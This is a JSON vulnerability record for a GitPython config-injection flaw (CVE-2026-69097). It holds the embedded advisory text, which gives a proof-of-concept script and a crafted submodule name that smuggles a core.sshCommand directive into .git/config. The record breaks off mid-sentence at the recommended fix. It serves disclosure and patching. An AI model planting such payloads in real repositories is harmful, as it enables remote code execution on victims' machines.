{"id":"CVE-2026-69097","aliases":["CLSA-2026-1787718591","DEBIAN-CVE-2026-69097","EUVD-2026-52290","GHSA-2f96-g7mh-g2hx","GHSA-3f7w-8rr8-f37f","GHSA-3rp5-jjmw-4wv2","GHSA-956x-8gvw-wg5v","GHSA-9rj7-rf2p-w77r","GHSA-9xx9-hw38-h2w9","GHSA-rwj8-pgh3-r573","OESA-2026-3353","OESA-2026-3354","OESA-2026-3439","PYSEC-2026-3981","ROOT-APP-PYPI-GHSA-3rp5-jjmw-4wv2","SUSE-SU-2026:4072-1","UBUNTU-CVE-2026-69097","openSUSE-SU-2026:11466-1","openSUSE-SU-2026:21874-1"],"status":"published","title":"GitPython before 3.1.53 Config Injection via Submodule Names","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","severity":{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00268,"percentile":0.1903,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74"],"published":"2026-07-24T16:22:02Z","modified":"2026-10-31T14:00:08Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.53"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.61-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","fixed_in":["3.1.57-1.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","fixed_in":["3.1.57-1.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP4","package":"python-GitPython","fixed_in":["3.1.57-1.oe2403sp4"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.47+aikido.8","3.1.47+aikido.9","3.1.46+aikido.12","3.1.46+aikido.11","3.1.46+aikido.13","3.1.47+aikido.3","3.1.46+aikido.6","3.1.50+aikido.1","3.1.49+aikido.3","3.1.46+aikido.7","3.1.47+aikido.4","3.1.49+aikido.4","3.1.50+aikido.2","3.1.47+aikido.5","3.1.46+aikido.8","3.1.50+aikido.3","3.1.47+aikido.6","3.1.46+aikido.9","3.1.47+aikido.7","3.1.46+aikido.10"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.52"},{"fixed":"3.1.53"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post10+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post2+tuxcare","3.1.31.post3+tuxcare","3.1.31.post4+tuxcare","3.1.31.post5+tuxcare","3.1.31.post6+tuxcare","3.1.31.post7+tuxcare","3.1.31.post8+tuxcare","3.1.31.post9+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1","3.1.50-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.53"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.57-1.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.57-1.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.57-1.oe2403sp4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.53"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"Root:PyPI","package":"GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.47+aikido.8"},{"fixed":"3.1.47+aikido.9"},{"fixed":"3.1.46+aikido.12"},{"fixed":"3.1.46+aikido.11"},{"fixed":"3.1.46+aikido.13"},{"fixed":"3.1.47+aikido.3"},{"fixed":"3.1.46+aikido.6"},{"fixed":"3.1.50+aikido.1"},{"fixed":"3.1.49+aikido.3"},{"fixed":"3.1.46+aikido.7"},{"fixed":"3.1.47+aikido.4"},{"fixed":"3.1.49+aikido.4"},{"fixed":"3.1.50+aikido.2"},{"fixed":"3.1.47+aikido.5"},{"fixed":"3.1.46+aikido.8"},{"fixed":"3.1.50+aikido.3"},{"fixed":"3.1.47+aikido.6"},{"fixed":"3.1.46+aikido.9"},{"fixed":"3.1.47+aikido.7"},{"fixed":"3.1.46+aikido.10"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.3.2~RC1-2","0.3.2~RC1-3","0.3.2~RC1-3ubuntu0.1~esm1","0.3.2~RC1-3ubuntu0.1~esm2","0.3.2~RC1-3ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.1+git137-gc8b8379-1","1.0.1+git137-gc8b8379-2","1.0.1+git137-gc8b8379-2.1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.5-1","2.1.6-1","2.1.7-1","2.1.8-1","2.1.8-1ubuntu0.1~esm1","2.1.8-1ubuntu0.1~esm2","2.1.8-1ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.11-1","3.0.4-1","3.0.5-1","3.0.7-1","3.0.7-1ubuntu0.1~esm1","3.0.7-1ubuntu0.1~esm2","3.0.7-1ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.14-1","3.1.23-1","3.1.24-1","3.1.24-1ubuntu0.1~esm1","3.1.24-1ubuntu0.1~esm2","3.1.24-1ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.30-1","3.1.37-1","3.1.37-3","3.1.37-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.46-1","3.1.50-1","3.1.61-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1","3.1.46-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.58-1.1"}]}],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-160000.4.1"}]}],"bundled":26}],"products":[{"vendor":"gitpython-developers","product":"gitpython"},{"vendor":"gitpython_project","product":"gitpython"}],"references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2","tags":["vendor-advisory","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names","tags":["third-party-advisory","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/pull/2176","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3rp5-jjmw-4wv2"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69097","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9xx9-hw38-h2w9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69097.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-69097","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3353","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3354","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3439","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-69097","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69097","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1279905","tags":["report"]},{"url":"https://bugzilla.suse.com/1279906","tags":["report"]},{"url":"https://bugzilla.suse.com/1279907","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87819","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-69097","title":"GitPython before 3.1.53 Config Injection via Submodule Names","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T13:20:49.256Z","modified":"2026-08-14T16:51:15.177Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T13:50:16.178634Z"}],"euvd":[{"id":"EUVD-2026-52290","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T13:20:49Z","modified":"2026-08-14T16:51:15Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:54.232317Z"}],"ghsa":[{"id":"GHSA-3rp5-jjmw-4wv2","title":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"### Summary\n\nIn GitPython `\u003c= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -\u003e None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\u003cname\u003e\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=\u003cuntrusted\u003e, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(\u003chostile url\u003e)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand -\u003e\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      -\u003e\", header)\nprint(\"  git core.sshCommand -\u003e\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -\u003e (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -\u003e [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -\u003e (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\u003cname\u003e\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/\u003cname\u003e` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the 